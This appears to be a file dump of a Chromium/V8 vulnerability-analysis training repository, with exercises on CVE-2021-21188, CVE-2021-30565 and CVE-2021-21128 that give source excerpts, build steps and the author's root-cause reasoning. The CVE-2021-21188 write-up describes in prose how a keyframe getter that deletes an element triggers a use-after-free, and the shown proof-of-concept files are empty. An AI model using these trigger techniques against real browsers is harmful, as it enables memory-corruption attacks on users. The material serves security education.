39 | When you finish the above
40 | ```sh
41 | git reset --hard 7e5707cc5f46b0155b9e42b121c8e2128c05f178
42 | ```
43 |
44 | ### Related code
45 | we can analysis the source file [online](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/css_interpolation_types_map.cc) or offline.
46 |
47 | This time you need to analysis entire file [`third_party/blink/renderer/core/animation/css_interpolation_types_map.cc`](https://source.chromium.org/chromium/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf:third_party/blink/renderer/core/animation/css_interpolation_types_map.cc), this bug can be easily found if you read `Details` carefully ;)
48 |
49 | ### Do it
50 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
51 |
52 |
53 | ---------
54 |
55 |
56 | My answer
57 |
58 | `Details` has clearly told us the cause of the vulnerability. **A registered custom property in one document caused the entry for the same custom property (unregistered) used in another document to be deleted, which caused a use-after-free**
59 | This mean if we register a `custom property` and then the `entry` of the same `custom property` in another document which `unregistered` will be deleted by `erase`.
60 | ```c++
61 | const InterpolationTypes& CSSInterpolationTypesMap::Get(
62 | const PropertyHandle& property) const {
63 | using ApplicableTypesMap =
64 | HashMap>;
65 | // TODO(iclelland): Combine these two hashmaps into a single map on
66 | // std::pair
67 | DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ());
68 | DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ());
69 |
70 | ApplicableTypesMap& applicable_types_map =
71 | allow_all_animations_ ? all_applicable_types_map
72 | : composited_applicable_types_map;
73 |
74 | auto entry = applicable_types_map.find(property); [1] find entry (HashMap)
75 | bool found_entry = entry != applicable_types_map.end();
76 |
77 | // Custom property interpolation types may change over time so don't trust the
78 | // applicableTypesMap without checking the registry.
79 | if (registry_ && property.IsCSSCustomProperty()) {
80 | const auto* registration = GetRegistration(registry_, property); [2] registr
81 | if (registration) {
82 | if (found_entry) {
83 | applicable_types_map.erase(entry); [3] delete entry
84 | }
85 | return registration->GetInterpolationTypes();
86 | }
87 | }
88 |
89 | if (found_entry) {
90 | return *entry->value;
91 | }
92 | [ ... ]
93 | ============================================================================
94 | static const PropertyRegistration* GetRegistration(
95 | const PropertyRegistry* registry,
96 | const PropertyHandle& property) {
97 | DCHECK(property.IsCSSCustomProperty());
98 | if (!registry) {
99 | return nullptr;
100 | }
101 | return registry->Registration(property.CustomPropertyName());
102 | }
103 | ```
104 |
105 |
106 |
107 | --------
108 |
109 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_5/poc.html:
--------------------------------------------------------------------------------
1 |
10 |
11 |
28 |
29 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_6/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 6
2 |
3 | ## CVE-2021-21188
4 | I sugget you don't search any report about it to prevents get too much info like patch.
5 |
6 | This time we do it by code audit
7 |
8 | ### Details
9 |
10 | > Test for persistent execution context during Animatable::animate.
11 | >
12 | > Prior to the patch, the validity of the execution context was only
13 | > checked on entry to the method; however, the execution context can
14 | > be invalidated during the course of parsing keyframes or options.
15 | > The parsing of options is upstream of Animatable::animate and caught by
16 | > the existing check, but invalidation during keyframe parsing could fall
17 | > through triggering a crash.
18 |
19 |
20 | You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation`
21 |
22 |
23 |
24 | ---------
25 |
26 |
27 | For more info click me! But you'd better not do this
28 |
29 | https://bugs.chromium.org/p/chromium/issues/detail?id=1161739
30 |
31 |
32 |
33 | --------
34 |
35 | ### Set environment
36 |
37 | after you fetch chromium
38 | ```sh
39 | git reset --hard 710bae69e18a9b086795cf79d849bd7f6e9c97fa
40 | ```
41 |
42 | ### Related code
43 | [`third_party/blink/renderer/core/animation/animatable.cc`](https://source.chromium.org/chromium/chromium/src/+/db032cf0a96b0e7e1007f181d8ce21e39617cee7:third_party/blink/renderer/core/animation/animatable.cc) and others
44 |
45 |
46 |
47 | ### Do it
48 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
49 |
50 |
51 | ---------
52 |
53 |
54 | My answer
55 |
56 | Let's start analysis the source code
57 | ``` c++
58 | Animation* Animatable::animate(
59 | ScriptState* script_state,
60 | const ScriptValue& keyframes,
61 | const UnrestrictedDoubleOrKeyframeAnimationOptions& options,
62 | ExceptionState& exception_state) {
63 | if (!script_state->ContextIsValid())
64 | return nullptr;
65 | Element* element = GetAnimationTarget();
66 | if (!element->GetExecutionContext()) [1] call `GetExecutionContext` to check whether the validity of this ptr
67 | return nullptr;
68 | KeyframeEffect* effect =
69 | KeyframeEffect::Create(script_state, element, keyframes, [2] call create and element is the second parameter
70 | CoerceEffectOptions(options), exception_state);
71 | if (exception_state.HadException())
72 | return nullptr;
73 |
74 | ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(),
75 | *effect->Model());
76 | if (!options.IsKeyframeAnimationOptions())
77 | return element->GetDocument().Timeline().Play(effect);
78 |
79 | Animation* animation;
80 | const KeyframeAnimationOptions* options_dict =
81 | options.GetAsKeyframeAnimationOptions();
82 | if (!options_dict->hasTimeline()) {
83 | animation = element->GetDocument().Timeline().Play(effect);
84 | } else if (AnimationTimeline* timeline = options_dict->timeline()) {
85 | animation = timeline->Play(effect);
86 | } else {
87 | animation = Animation::Create(element->GetExecutionContext(), effect, [3] If we delete `element` in [2], this trigger crash
88 | nullptr, exception_state);
89 | }
90 | [ ... ]
91 | ```
92 | What happen in Create
93 | ```c++
94 | KeyframeEffect* KeyframeEffect::Create(
95 | ScriptState* script_state,
96 | Element* element,
97 | const ScriptValue& keyframes,
98 | const UnrestrictedDoubleOrKeyframeEffectOptions& options,
99 | ExceptionState& exception_state) {
100 | Document* document = element ? &element->GetDocument() : nullptr;
101 | Timing timing = TimingInput::Convert(options, document, exception_state);
102 | if (exception_state.HadException())
103 | return nullptr;
104 |
105 | EffectModel::CompositeOperation composite = EffectModel::kCompositeReplace;
106 | String pseudo = String();
107 | // [ ... ]
108 | KeyframeEffectModelBase* model = EffectInput::Convert( [4] call Convert, and element is the first parameter
109 | element, keyframes, composite, script_state, exception_state);
110 | if (exception_state.HadException())
111 | return nullptr;
112 | KeyframeEffect* effect =
113 | MakeGarbageCollected(element, model, timing);
114 |
115 | if (!pseudo.IsEmpty()) {
116 | effect->target_pseudo_ = pseudo;
117 | if (element) {
118 | element->GetDocument().UpdateStyleAndLayoutTreeForNode(element);
119 | effect->effect_target_ = element->GetPseudoElement(
120 | CSSSelector::ParsePseudoId(pseudo, element));
121 | }
122 | }
123 | return effect;
124 | }
125 | ================================================================================
126 | KeyframeEffectModelBase* EffectInput::Convert(
127 | Element* element,
128 | const ScriptValue& keyframes,
129 | EffectModel::CompositeOperation composite,
130 | ScriptState* script_state,
131 | ExceptionState& exception_state) {
132 | StringKeyframeVector parsed_keyframes =
133 | ParseKeyframesArgument(element, keyframes, script_state, exception_state); [5] call ParseKeyframesArgument and element is the first parameter
134 | if (exception_state.HadException())
135 | return nullptr;
136 | [ ... ]
137 | ```
138 | I wander what is Keyframe? Then I found [this](https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes) and [this](https://developer.mozilla.org/en-US/docs/Web/CSS/animation). Although I posted the animation link last time, I didn’t read it myself... But this time we must know what is animation and keyframe.
139 | > The animation property is specified as one or more single animations, separated by commas.
140 | I don't know what the word animation mean, so I don't know what it mean for chrome :/ Alright, you can know them detailed from the two link or you can search yourself.
141 |
142 | What can we do to delete this `element` during `ParseKeyframesArgument`? We can see its def and how animation be constructed.
143 | ```c++
144 | StringKeyframeVector EffectInput::ParseKeyframesArgument(
145 | Element* element,
146 | const ScriptValue& keyframes,
147 | ScriptState* script_state,
148 | ExceptionState& exception_state) {
149 | // Per the spec, a null keyframes object maps to a valid but empty sequence.
150 | v8::Local keyframes_value = keyframes.V8Value();
151 | if (keyframes_value->IsNullOrUndefined())
152 | return {};
153 | v8::Local keyframes_obj = keyframes_value.As();
154 |
155 | // 3. Let method be the result of GetMethod(object, @@iterator).
156 | v8::Isolate* isolate = script_state->GetIsolate();
157 | auto script_iterator =
158 | ScriptIterator::FromIterable(isolate, keyframes_obj, exception_state);
159 | if (exception_state.HadException())
160 | return {};
161 |
162 | // TODO(crbug.com/816934): Get spec to specify what parsing context to use.
163 | Document& document = element
164 | ? element->GetDocument()
165 | : *LocalDOMWindow::From(script_state)->document();
166 |
167 | StringKeyframeVector parsed_keyframes;
168 | if (script_iterator.IsNull()) {
169 | parsed_keyframes = ConvertObjectForm(element, document, keyframes_obj,
170 | script_state, exception_state);
171 | } else {
172 | parsed_keyframes =
173 | ConvertArrayForm(element, document, std::move(script_iterator), [6] if keyframes is sorted by array, do convert
174 | script_state, exception_state);
175 | }
176 | [ ... ]
177 | ```
178 | Parse the parameter of animatable (parse keyframes), If we transform an Array composed of keyframs, need call ConvertArrayForm for convert step.
179 | ```c++
180 | StringKeyframeVector ConvertArrayForm(Element* element,
181 | Document& document,
182 | ScriptIterator iterator,
183 | ScriptState* script_state,
184 | ExceptionState& exception_state) {
185 | v8::Isolate* isolate = script_state->GetIsolate();
186 |
187 | // This loop captures step 5 of the procedure to process a keyframes argument,
188 | // in the case where the argument is iterable.
189 | HeapVector> processed_base_keyframes;
190 | Vector>> processed_properties;
191 | ExecutionContext* execution_context = ExecutionContext::From(script_state);
192 | while (iterator.Next(execution_context, exception_state)) {
193 | if (exception_state.HadException())
194 | return {};
195 |
196 | // The value should already be non-empty, as guaranteed by the call to Next
197 | // and the exception_state check above.
198 | v8::Local keyframe = iterator.GetValue().ToLocalChecked();
199 |
200 | BaseKeyframe* base_keyframe = NativeValueTraits::NativeValue(
201 | isolate, keyframe, exception_state);
202 | Vector> property_value_pairs;
203 |
204 | if (!keyframe->IsNullOrUndefined()) {
205 | AddPropertyValuePairsForKeyframe( [7] call AddPropertyValuePairsForKeyframe
206 | isolate, v8::Local::Cast(keyframe), element, document,
207 | property_value_pairs, exception_state);
208 | if (exception_state.HadException())
209 | return {};
210 | }
211 | [ ... ]
212 | ===========================================================================
213 | void AddPropertyValuePairsForKeyframe(
214 | v8::Isolate* isolate,
215 | v8::Local keyframe_obj,
216 | Element* element,
217 | const Document& document,
218 | Vector>& property_value_pairs,
219 | ExceptionState& exception_state) {
220 | Vector keyframe_properties =
221 | GetOwnPropertyNames(isolate, keyframe_obj, exception_state);
222 |
223 | // By spec, we are only allowed to access a given (property, value) pair
224 | // once. This is observable by the web client, so we take care to adhere
225 | // to that.
226 | v8::Local v8_value;
227 | if (!keyframe_obj
228 | ->Get(isolate->GetCurrentContext(), V8String(isolate, property)) [8] call get
229 | .ToLocal(&v8_value)) {
230 | exception_state.RethrowV8Exception(try_catch.Exception());
231 | return;
232 | }
233 | }
234 | ```
235 | We can delete this `element` in `getter`, these `element` and `document` is the target of `html`, if you can get if you have learned how js control DOM of html.
236 | We use `element.animate(keyframes, options);` to trigger, we can make a `arr` whose `getter` delete `element_1`. and do `element_2.animate(arr,{...})`, you can see detail at [Poc](./poc.html).
237 |
238 |
239 |
240 |
241 |
242 | --------
243 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_6/animatable.cc:
--------------------------------------------------------------------------------
1 | // Copyright 2017 The Chromium Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style license that can be
3 | // found in the LICENSE file.
4 |
5 | #include "third_party/blink/renderer/core/animation/animatable.h"
6 |
7 | #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_animation_options.h"
8 | #include "third_party/blink/renderer/bindings/core/v8/unrestricted_double_or_keyframe_effect_options.h"
9 | #include "third_party/blink/renderer/bindings/core/v8/v8_get_animations_options.h"
10 | #include "third_party/blink/renderer/core/animation/animation.h"
11 | #include "third_party/blink/renderer/core/animation/document_animations.h"
12 | #include "third_party/blink/renderer/core/animation/document_timeline.h"
13 | #include "third_party/blink/renderer/core/animation/effect_input.h"
14 | #include "third_party/blink/renderer/core/animation/effect_model.h"
15 | #include "third_party/blink/renderer/core/animation/keyframe_effect.h"
16 | #include "third_party/blink/renderer/core/animation/keyframe_effect_model.h"
17 | #include "third_party/blink/renderer/core/animation/timing.h"
18 | #include "third_party/blink/renderer/core/animation/timing_input.h"
19 | #include "third_party/blink/renderer/core/dom/document.h"
20 | #include "third_party/blink/renderer/core/dom/element.h"
21 | #include "third_party/blink/renderer/core/feature_policy/layout_animations_policy.h"
22 | #include "third_party/blink/renderer/platform/bindings/exception_state.h"
23 | #include "third_party/blink/renderer/platform/bindings/script_state.h"
24 | #include "third_party/blink/renderer/platform/heap/heap.h"
25 |
26 | namespace blink {
27 | namespace {
28 |
29 | // A helper method which is used to trigger a violation report for cases where
30 | // the |element.animate| API is used to animate a CSS property which is blocked
31 | // by the feature policy 'layout-animations'.
32 | void ReportFeaturePolicyViolationsIfNecessary(
33 | const ExecutionContext& context,
34 | const KeyframeEffectModelBase& effect) {
35 | for (const auto& property_handle : effect.Properties()) {
36 | if (!property_handle.IsCSSProperty())
37 | continue;
38 | const auto& css_property = property_handle.GetCSSProperty();
39 | if (LayoutAnimationsPolicy::AffectedCSSProperties().Contains(
40 | &css_property)) {
41 | LayoutAnimationsPolicy::ReportViolation(css_property, context);
42 | }
43 | }
44 | }
45 |
46 | UnrestrictedDoubleOrKeyframeEffectOptions CoerceEffectOptions(
47 | UnrestrictedDoubleOrKeyframeAnimationOptions options) {
48 | if (options.IsKeyframeAnimationOptions()) {
49 | return UnrestrictedDoubleOrKeyframeEffectOptions::FromKeyframeEffectOptions(
50 | options.GetAsKeyframeAnimationOptions());
51 | } else {
52 | return UnrestrictedDoubleOrKeyframeEffectOptions::FromUnrestrictedDouble(
53 | options.GetAsUnrestrictedDouble());
54 | }
55 | }
56 |
57 | } // namespace
58 |
59 | // https://drafts.csswg.org/web-animations/#dom-animatable-animate
60 | Animation* Animatable::animate(
61 | ScriptState* script_state,
62 | const ScriptValue& keyframes,
63 | const UnrestrictedDoubleOrKeyframeAnimationOptions& options,
64 | ExceptionState& exception_state) {
65 | if (!script_state->ContextIsValid())
66 | return nullptr;
67 | Element* element = GetAnimationTarget();
68 | if (!element->GetExecutionContext())
69 | return nullptr;
70 | KeyframeEffect* effect =
71 | KeyframeEffect::Create(script_state, element, keyframes,
72 | CoerceEffectOptions(options), exception_state);
73 | if (exception_state.HadException())
74 | return nullptr;
75 |
76 | ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(),
77 | *effect->Model());
78 | if (!options.IsKeyframeAnimationOptions())
79 | return element->GetDocument().Timeline().Play(effect);
80 |
81 | Animation* animation;
82 | const KeyframeAnimationOptions* options_dict =
83 | options.GetAsKeyframeAnimationOptions();
84 | if (!options_dict->hasTimeline()) {
85 | animation = element->GetDocument().Timeline().Play(effect);
86 | } else if (AnimationTimeline* timeline = options_dict->timeline()) {
87 | animation = timeline->Play(effect);
88 | } else {
89 | animation = Animation::Create(element->GetExecutionContext(), effect,
90 | nullptr, exception_state);
91 | }
92 |
93 | animation->setId(options_dict->id());
94 | return animation;
95 | }
96 |
97 | Animation* Animatable::animate(ScriptState* script_state,
98 | const ScriptValue& keyframes,
99 | ExceptionState& exception_state) {
100 | if (!script_state->ContextIsValid())
101 | return nullptr;
102 | Element* element = GetAnimationTarget();
103 | if (!element->GetExecutionContext())
104 | return nullptr;
105 | KeyframeEffect* effect =
106 | KeyframeEffect::Create(script_state, element, keyframes, exception_state);
107 | if (exception_state.HadException())
108 | return nullptr;
109 |
110 | ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(),
111 | *effect->Model());
112 | return element->GetDocument().Timeline().Play(effect);
113 | }
114 |
115 | HeapVector> Animatable::getAnimations(
116 | GetAnimationsOptions* options) {
117 | bool use_subtree = options && options->subtree();
118 | Element* element = GetAnimationTarget();
119 | if (use_subtree)
120 | element->GetDocument().UpdateStyleAndLayoutTreeForSubtree(element);
121 | else
122 | element->GetDocument().UpdateStyleAndLayoutTreeForNode(element);
123 |
124 | HeapVector> animations;
125 | if (!use_subtree && !element->HasAnimations())
126 | return animations;
127 |
128 | for (const auto& animation :
129 | element->GetDocument().GetDocumentAnimations().getAnimations(
130 | element->GetTreeScope())) {
131 | DCHECK(animation->effect());
132 | // TODO(gtsteel) make this use the idl properties
133 | Element* target = To(animation->effect())->EffectTarget();
134 | if (element == target || (use_subtree && element->contains(target))) {
135 | // DocumentAnimations::getAnimations should only give us animations that
136 | // are either current or in effect.
137 | DCHECK(animation->effect()->IsCurrent() ||
138 | animation->effect()->IsInEffect());
139 | animations.push_back(animation);
140 | }
141 | }
142 | return animations;
143 | }
144 |
145 | } // namespace blink
146 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_6/poc.html:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/LEVEL_1/exercise_7/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 7
2 |
3 |
4 | ## CVE-2021-30565
5 | I sugget you don't search any report about it to prevents get too much info like patch.
6 |
7 |
8 | ### Details
9 |
10 | > cppgc: Fix ephemeron iterations
11 | >
12 | > If processing the marking worklists found new ephemeron pairs, but
13 | processing the existing ephemeron pairs didn't mark new objects, marking
14 | would stop and the newly discovered ephemeron pairs would not be
15 | processed. This can lead to a marked key with an unmarked value.
16 |
17 |
18 | An ephemeron pair is used to conditionally retain an object.
19 | The `value` will be kept alive only if the `key` is alive.
20 |
21 |
22 | ### Set environment
23 |
24 | set v8 environment
25 | ```sh
26 | # get depot_tools
27 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
28 | # add to env var
29 | echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc
30 | # get v8 source code
31 | fetch v8
32 | # chenge to right commit
33 | cd v8
34 | git reset --hard f41f4fb4e66916936ed14d8f9ee20d5fb0afc548
35 | # download others
36 | gclient sync
37 | # get ninja for compile
38 | git clone https://github.com/ninja-build/ninja.git
39 | cd ninja && ./configure.py --bootstrap && cd ..
40 | # set environment variable
41 | echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
42 |
43 | # compile debug
44 | tools/dev/v8gen.py x64.debug
45 | ninja -C out.gn/x64.debug d8
46 | # compile release (optional)
47 | tools/dev/v8gen.py x64.release
48 | ninja -C out.gn/x64.release d8
49 | ```
50 |
51 | ### Related code
52 | `src/heap/cppgc/marker.cc`
53 | `src/heap/cppgc/marking-state.h`
54 | ```c++
55 | bool MarkerBase::ProcessWorklistsWithDeadline(
56 | size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline) {
57 | StatsCollector::EnabledScope stats_scope(
58 | heap().stats_collector(), StatsCollector::kMarkTransitiveClosure);
59 | do {
60 | if ((config_.marking_type == MarkingConfig::MarkingType::kAtomic) ||
61 | schedule_.ShouldFlushEphemeronPairs()) {
62 | mutator_marking_state_.FlushDiscoveredEphemeronPairs();
63 | }
64 |
65 | // Bailout objects may be complicated to trace and thus might take longer
66 | // than other objects. Therefore we reduce the interval between deadline
67 | // checks to guarantee the deadline is not exceeded.
68 | [ ... ]
69 | {
70 | StatsCollector::EnabledScope inner_stats_scope(
71 | heap().stats_collector(), StatsCollector::kMarkProcessEphemerons);
72 | if (!DrainWorklistWithBytesAndTimeDeadline(
73 | mutator_marking_state_, marked_bytes_deadline, time_deadline,
74 | mutator_marking_state_.ephemeron_pairs_for_processing_worklist(),
75 | [this](const MarkingWorklists::EphemeronPairItem& item) {
76 | mutator_marking_state_.ProcessEphemeron(
77 | item.key, item.value, item.value_desc, visitor());
78 | })) {
79 | return false;
80 | }
81 | }
82 | } while (!mutator_marking_state_.marking_worklist().IsLocalAndGlobalEmpty());
83 | return true;
84 | }
85 | ```
86 |
87 | ```c++
88 | void MarkingStateBase::ProcessEphemeron(const void* key, const void* value,
89 | TraceDescriptor value_desc,
90 | Visitor& visitor) {
91 | // Filter out already marked keys. The write barrier for WeakMember
92 | // ensures that any newly set value after this point is kept alive and does
93 | // not require the callback.
94 | if (!HeapObjectHeader::FromObject(key)
95 | .IsInConstruction() &&
96 | HeapObjectHeader::FromObject(key).IsMarked()) {
97 | if (value_desc.base_object_payload) {
98 | MarkAndPush(value_desc.base_object_payload, value_desc);
99 | } else {
100 | // If value_desc.base_object_payload is nullptr, the value is not GCed and
101 | // should be immediately traced.
102 | value_desc.callback(&visitor, value);
103 | }
104 | return;
105 | }
106 | // |discovered_ephemeron_pairs_worklist_| may still hold ephemeron pairs with
107 | // dead keys.
108 | discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc});
109 | }
110 | ```
111 |
112 | ### Do it
113 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
114 |
115 |
116 | ---------
117 |
118 |
119 | My answer, probably wrong
120 |
121 | ```c++
122 | // Marking algorithm. Example for a valid call sequence creating the marking
123 | // phase:
124 | // 1. StartMarking() [Called implicitly when creating a Marker using
125 | // MarkerFactory]
126 | // 2. AdvanceMarkingWithLimits() [Optional, depending on environment.]
127 | // 3. EnterAtomicPause()
128 | // 4. AdvanceMarkingWithLimits()
129 | // 5. LeaveAtomicPause()
130 | //
131 | // Alternatively, FinishMarking combines steps 3.-5.
132 | ```
133 | https://chromium.googlesource.com/v8/v8.git/+/e677a6f6b257e992094b9183a958b67ecc68aa85
134 | ```c++
135 | void MarkingStateBase::ProcessEphemeron(const void* key, const void* value,
136 | TraceDescriptor value_desc,
137 | Visitor& visitor) {
138 | // Filter out already marked keys. The write barrier for WeakMember
139 | // ensures that any newly set value after this point is kept alive and does
140 | // not require the callback.
141 | if (!HeapObjectHeader::FromObject(key)
142 | .IsInConstruction() && [1]
143 | HeapObjectHeader::FromObject(key).IsMarked()) { [2]
144 | /**
145 | * value_desc.base_object_payload:
146 | *
147 | * Adjusted base pointer, i.e., the pointer to the class inheriting directly
148 | * from GarbageCollected, of the object that is being traced.
149 | */
150 | if (value_desc.base_object_payload) {
151 | MarkAndPush(value_desc.base_object_payload, value_desc);
152 | } else {
153 | // If value_desc.base_object_payload is nullptr, the value is not GCed and
154 | // should be immediately traced.
155 | value_desc.callback(&visitor, value);
156 | }
157 | return;
158 | }
159 | discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); // if find new ephemeron_pairs, need push
160 | }
161 | =======================================================================
162 | template
164 | bool DrainWorklistWithPredicate(Predicate should_yield,
165 | WorklistLocal& worklist_local,
166 | Callback callback) {
167 | if (worklist_local.IsLocalAndGlobalEmpty()) return true;
168 | // For concurrent markers, should_yield also reports marked bytes.
169 | if (should_yield()) return false;
170 | size_t processed_callback_count = deadline_check_interval;
171 | typename WorklistLocal::ItemType item;
172 | while (worklist_local.Pop(&item)) {
173 | callback(item); // ProcessEphemeron
174 | if (--processed_callback_count == 0) {
175 | if (should_yield()) {
176 | return false;
177 | }
178 | processed_callback_count = deadline_check_interval;
179 | }
180 | }
181 | return true;
182 | }
183 | ```
184 | [1] `IsInConstruction == false` means the the data of `Object` all setted up.
185 |
186 | [2] `IsMarked == true` means this `object` has been marked.
187 |
188 | the `ProcessEphemeron` will be the parameter of `DrainWorklistWithPredicate` named `callback` and `discovered_ephemeron_pairs_worklist_` pop item to call `RocessEphemeron` in loop
189 |
190 | ```c++
191 | const HeapObjectHeader& HeapObjectHeader::FromObject(const void* object) { [3]
192 | return *reinterpret_cast(
193 | static_cast(object) - sizeof(HeapObjectHeader));
194 | }
195 | ============================================================
196 | template
197 | bool HeapObjectHeader::IsInConstruction() const {
198 | const uint16_t encoded =
199 | LoadEncoded();
200 | return !FullyConstructedField::decode(encoded); [4]
201 | }
202 | ============================================================
203 | template
204 | bool HeapObjectHeader::IsMarked() const {
205 | const uint16_t encoded =
206 | LoadEncoded();
207 | return MarkBitField::decode(encoded); [5]
208 | }
209 | ```
210 | [3] return the ptr to `HeapObjectHeader`, you can treat it as `addrOf(Chunk) - sizeof(ChunkHeader)` can get the addr of ChunkHeader
211 |
212 | [4] and [5] can get info of the `HeapObjectHeader` which be organized in some regular pattern. The following content explains this clearly
213 | ```c++
214 | // Used in |encoded_high_|.
215 | using FullyConstructedField = v8::base::BitField16; [6]
216 | using UnusedField1 = FullyConstructedField::Next;
217 | using GCInfoIndexField = UnusedField1::Next;
218 | // Used in |encoded_low_|.
219 | using MarkBitField = v8::base::BitField16;
220 | using SizeField = void; // Use EncodeSize/DecodeSize instead.
221 | ==============================================
222 | // Extracts the bit field from the value.
223 | static constexpr T decode(U value) {
224 | return static_cast((value & kMask) >> kShift); [7]
225 | }
226 | ```
227 | you can understand [6] better by this.
228 |
229 | ```c++
230 | // HeapObjectHeader contains meta data per object and is prepended to each
231 | // object.
232 | //
233 | // +-----------------+------+------------------------------------------+
234 | // | name | bits | |
235 | // +-----------------+------+------------------------------------------+
236 | // | padding | 32 | Only present on 64-bit platform. |
237 | // +-----------------+------+------------------------------------------+
238 | // | GCInfoIndex | 14 | |
239 | // | unused | 1 | |
240 | // | in construction | 1 | In construction encoded as |false|. |
241 | // +-----------------+------+------------------------------------------+
242 | // | size | 15 | 17 bits because allocations are aligned. |
243 | // | mark bit | 1 | |
244 | // +-----------------+------+------------------------------------------+
245 | //
246 | // Notes:
247 | // - See |GCInfoTable| for constraints on GCInfoIndex.
248 | // - |size| for regular objects is encoded with 15 bits but can actually
249 | // represent sizes up to |kBlinkPageSize| (2^17) because allocations are
250 | // always 4 byte aligned (see kAllocationGranularity) on 32bit. 64bit uses
251 | // 8 byte aligned allocations which leaves 1 bit unused.
252 | // - |size| for large objects is encoded as 0. The size of a large object is
253 | // stored in |LargeObjectPage::PayloadSize()|.
254 | // - |mark bit| and |in construction| bits are located in separate 16-bit halves
255 | // to allow potentially accessing them non-atomically.
256 | ```
257 | So [7] can get specific bit of `HeapObjectHeader` | meta data, means the Object status information
258 |
259 | `ProcessEphemeron` func means if object has been marked and `value_desc.base_object_payload`(may be write barrier?) not null, we need to mark value_desc.base_object_payload, else we find new `ephemeron_pairs`.
260 |
261 | But if `value_desc.base_object_payload` have not been set, we need to callback (maybe used for search old space for what object prt to this value), this may lead to recursive call. And the mark process can be stoped because the time limit.
262 |
263 | There are many gc processes, if two of them call the `ProcessEphemeron` and the A process prepare to mark value. But B process find new `ephemeron_pairs`, the mark will be stoped, **I gusee** :), lead to a marked key with an unmarked value.
264 |
265 |
266 |
267 |
268 | --------
269 |
--------------------------------------------------------------------------------
/LEVEL_2/README.md:
--------------------------------------------------------------------------------
1 | # LEVEL 2
2 |
3 | This time, you cann't rely on the `Details` to search the bug. The only info you get is the related files of the bug exist. For me, I will find the patch file, and write down its path. Then I will try to find the bug and check whether these files exist this bug to provide the right file.
4 |
5 | Find the bug yourself, and if you feel difficult can see tips or the answer.
6 |
7 | I believe you can do better than me.
8 |
9 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_1/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 1
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2021-21128
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 |
15 | ---------
16 |
17 |
18 | For more info click me! But you'd better not do this
19 |
20 | https://bugs.chromium.org/p/chromium/issues/detail?id=1138877
21 |
22 |
23 |
24 | --------
25 |
26 | ### Set environment
27 |
28 | after you fetch chromium
29 | ```sh
30 | git reset --hard 04fe9cc9bf0b67233b9f7f80b9a914499a431fa4
31 | ```
32 |
33 | ### Related code
34 |
35 | [third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc](https://source.chromium.org/chromium/chromium/src/+/04fe9cc9bf0b67233b9f7f80b9a914499a431fa4:third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc)
36 |
37 |
38 | ### Do it
39 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
40 |
41 |
42 | ---------
43 |
44 |
45 | My answer
46 |
47 | `IsWholeWordMatch` This func looks like buggy.
48 | ```c++
49 | static bool IsWholeWordMatch(const UChar* text,
50 | int text_length,
51 | MatchResultICU& result) {
52 | DCHECK_LE((int)(result.start + result.length), text_length);
53 | UChar32 first_character;
54 | U16_GET(text, 0, result.start, result.length, first_character); [1]
55 |
56 | // Chinese and Japanese lack word boundary marks, and there is no clear
57 | // agreement on what constitutes a word, so treat the position before any CJK
58 | // character as a word start.
59 | if (Character::IsCJKIdeographOrSymbol(first_character))
60 | return true;
61 |
62 | wtf_size_t word_break_search_start = result.start + result.length;
63 | while (word_break_search_start > result.start) {
64 | word_break_search_start =
65 | FindNextWordBackward(text, text_length, word_break_search_start);
66 | }
67 | if (word_break_search_start != result.start)
68 | return false;
69 | return static_cast(result.start + result.length) ==
70 | FindWordEndBoundary(text, text_length, word_break_search_start);
71 | }
72 | ==========================================================
73 | #define CHECK_LE(val1, val2) CHECK_OP(<=, val1, val2)
74 | ```
75 | [1] call `U16_GET` after `DCHECK_LE`. This check means `result.start + result.length` must lessthan `text_length`, we can see about `U16_GET`
76 | ```c++
77 | /**
78 | * Get a code point from a string at a random-access offset,
79 | * without changing the offset.
80 | * "Safe" macro, handles unpaired surrogates and checks for string boundaries.
81 | *
82 | * The offset may point to either the lead or trail surrogate unit
83 | * for a supplementary code point, in which case the macro will read
84 | * the adjacent matching surrogate as well.
85 | *
86 | * The length can be negative for a NUL-terminated string.
87 | *
88 | * If the offset points to a single, unpaired surrogate, then
89 | * c is set to that unpaired surrogate.
90 | * Iteration through a string is more efficient with U16_NEXT_UNSAFE or U16_NEXT.
91 | *
92 | * @param s const UChar * string
93 | * @param start starting string offset (usually 0)
